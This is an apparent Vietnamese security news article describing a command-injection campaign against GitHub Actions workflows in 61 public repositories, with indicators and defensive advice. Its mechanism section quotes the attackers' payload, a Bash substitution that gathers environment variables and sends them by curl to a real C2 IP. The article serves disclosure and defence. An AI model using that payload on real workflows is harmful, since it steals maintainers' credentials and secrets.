Phân tích chiến dịch tấn công Command Injection nhắm vào GitHub CI/CD
Các nhà nghiên cứu bảo mật đã phát hiện chiến dịch tấn công Command Injection nhắm vào 61 kho lưu trữ GitHub nhằm đánh cắp dữ liệu nhạy cảm từ hệ thống CI/CD.

- Mục tiêu tấn công: 61 kho lưu trữ GitHub công khai, bao gồm các dự án lớn như Google LangExtract, Trivy, Brave Browser, MLflow, ToolJet và PX4-Autopilot.
- Cơ chế khai thác: Kẻ tấn công lợi dụng các luồng công việc (workflows) của GitHub Actions có lỗ hổng, nơi dữ liệu đầu vào từ người dùng (Issue, Pull Request, Comment) được đưa trực tiếp vào các tập lệnh shell mà không qua kiểm duyệt.
- Mục đích: Thực thi lệnh từ xa để thu thập biến môi trường, thông tin xác thực và các bí mật (secrets) trong hệ thống CI/CD.
- Khuyến nghị: Hạn chế quyền hạn của workflow, không sử dụng trực tiếp dữ liệu đầu vào không tin cậy trong shell script và thường xuyên kiểm tra nhật ký hệ thống.
Một chiến dịch tấn công mạng tinh vi vừa được các nhà nghiên cứu tại Radware công bố, nhắm trực tiếp vào 61 kho lưu trữ GitHub công khai. Chiến dịch này sử dụng kỹ thuật Command Injection nhằm mục đích đánh cắp dữ liệu từ các hệ thống phát triển tự động (CI/CD). Các bằng chứng kỹ thuật cho thấy các lệnh độc hại đã được thực thi thành công bên trong ít nhất hai luồng công việc (workflows) của GitHub Actions, minh chứng cho việc các thảo luận dự án thông thường có thể trở thành điểm xâm nhập nguy hiểm vào hệ thống xây dựng phần mềm.

Chi tiết chiến dịch tấn công
Theo kết quả điều tra từ Radware, chiến dịch này diễn ra với tốc độ rất nhanh. Cụ thể, 77 mục độc hại đã được đăng tải chỉ trong khoảng 43 phút. Ngay sau đó, một đợt tấn công thứ hai bao gồm 6 mục tiếp tục được thực hiện trong khoảng hai phút. Các mục tiêu bao gồm nhiều dự án mã nguồn mở nổi tiếng như Google LangExtract, Trivy, Brave Browser, MLflow, ToolJet và PX4-Autopilot. Tuy nhiên, việc xuất hiện trong danh sách không đồng nghĩa với việc mọi dự án đều đã bị xâm nhập thành công.
Kẻ tấn công đã khai thác các workflow có cơ chế tự động phản hồi khi có người dùng mở Issue, gửi Pull Request hoặc đăng bình luận. Các tác vụ này thường thực hiện kiểm tra tiêu đề, gán nhãn hoặc gửi thông báo. Lỗ hổng phát sinh khi các workflow này đưa trực tiếp văn bản do người dùng kiểm soát vào các tập lệnh shell (shell scripts).
Cơ chế khai thác Command Injection
Kẻ tấn công đã chèn các biểu thức thay thế lệnh Bash, được viết dưới dạng $(...), vào nội dung của tiêu đề Issue hoặc Pull Request. Khi workflow có lỗ hổng nhận dữ liệu này và đưa vào mã shell thực thi, Bash sẽ hiểu biểu thức này là một lệnh cần thực thi thay vì văn bản thông thường. Đáng chú ý, việc bao bọc tiêu đề trong dấu ngoặc kép cũng không ngăn chặn được quá trình thực thi này.
# Payload mẫu được kẻ tấn công sử dụng để trích xuất thông tin môi trường:$(env | base64 | tr -d '\n' | xargs -I {} curl -X POST http://54.205.16.142:8443/collect?data={})Payload trên thực hiện lệnh env để thu thập các biến môi trường, sau đó mã hóa đầu ra bằng Base64, loại bỏ các ký tự xuống dòng và sử dụng curl để gửi yêu cầu HTTP POST về máy chủ điều khiển (C2). Mọi payload xác minh đều trỏ về địa chỉ IP 54.205.16.142 trên cổng 8443, sử dụng giao thức HTTP thay vì HTTPS.

Phân tích tác động và rủi ro
Mức độ rủi ro phụ thuộc vào quyền hạn mà mỗi công việc (job) có thể truy cập. Các biến môi trường trong hệ thống CI/CD thường chứa các token dịch vụ, thông tin xác thực triển khai hoặc các thiết lập nội bộ quan trọng. Mặc dù GitHub Actions không tự động cung cấp tất cả các bí mật cho mọi workflow, nhưng việc thực thi lệnh thành công vẫn tạo ra nguy cơ rò rỉ dữ liệu nhạy cảm rất lớn.

Trong trường hợp của dự án PX4-Autopilot, một Pull Request giả mạo dưới dạng sửa lỗi tài liệu đã mang theo payload trong tiêu đề. Workflow kiểm tra tiêu đề đã đưa tiêu đề này vào một lệnh Bash gọi Python. Nhật ký hệ thống cho thấy cảnh báo thay thế lệnh và trả về nội dung bắt đầu bằng GIF89a, thay thế cho biểu thức độc hại. Tương tự, tại Snouzy/workout-cool, workflow thông báo Issue đã đưa tiêu đề của kẻ tấn công trực tiếp vào một biến Bash, dẫn đến việc thực thi lệnh.
| Loại thực thể | Giá trị / Chỉ số | Mô tả tác động |
|---|---|---|
| Địa chỉ IP C2 | 54.205.16.142 | Máy chủ nhận dữ liệu đánh cắp |
| Cổng kết nối | 8443 | Cổng giao tiếp HTTP |
| Kỹ thuật | Command Injection | Thực thi lệnh từ xa qua GitHub Actions |

Khuyến nghị phòng thủ và khắc phục
Các nhà nghiên cứu nhấn mạnh rằng các nhà duy trì dự án (maintainers) cần thực hiện các biện pháp bảo mật nghiêm ngặt để ngăn chặn các cuộc tấn công tương tự:
- Xử lý đầu vào: Luôn chuyển các tiêu đề hoặc nội dung không tin cậy thông qua các biến môi trường thay vì đưa trực tiếp vào mã nguồn shell.
- Tránh sử dụng eval: Tuyệt đối không sử dụng hàm
evalhoặc các cơ chế tương tự để thực thi dữ liệu đầu vào từ người dùng. - Giới hạn quyền hạn: Thiết lập quyền hạn tối thiểu cho các workflow, đặc biệt là các workflow có khả năng truy cập vào các bí mật (secrets) quan trọng.
- Kiểm tra định kỳ: Nếu phát hiện dấu hiệu thực thi lệnh, cần ngay lập tức rà soát các bí mật hiện có, xoay vòng (rotate) các thông tin xác thực bị lộ, kiểm tra nhật ký kiểm toán (audit logs) và điều tra các lưu lượng truy cập mạng bất thường.
- Phân tách nhiệm vụ: Tách biệt các công việc thông báo (notification jobs) khỏi các workflow phát hành (release workflows) có đặc quyền cao để giảm thiểu thiệt hại nếu bị tấn công.
Mạng Lưới An Ninh Mạng & Cộng Đồng
Nhận cảnh báo 0-Day khẩn cấp, phân tích mã độc và tham gia thảo luận kỹ thuật cùng chuyên gia.
Ban biên tập nội dung và phân tích an ninh mạng tại ADSECVN.COM.



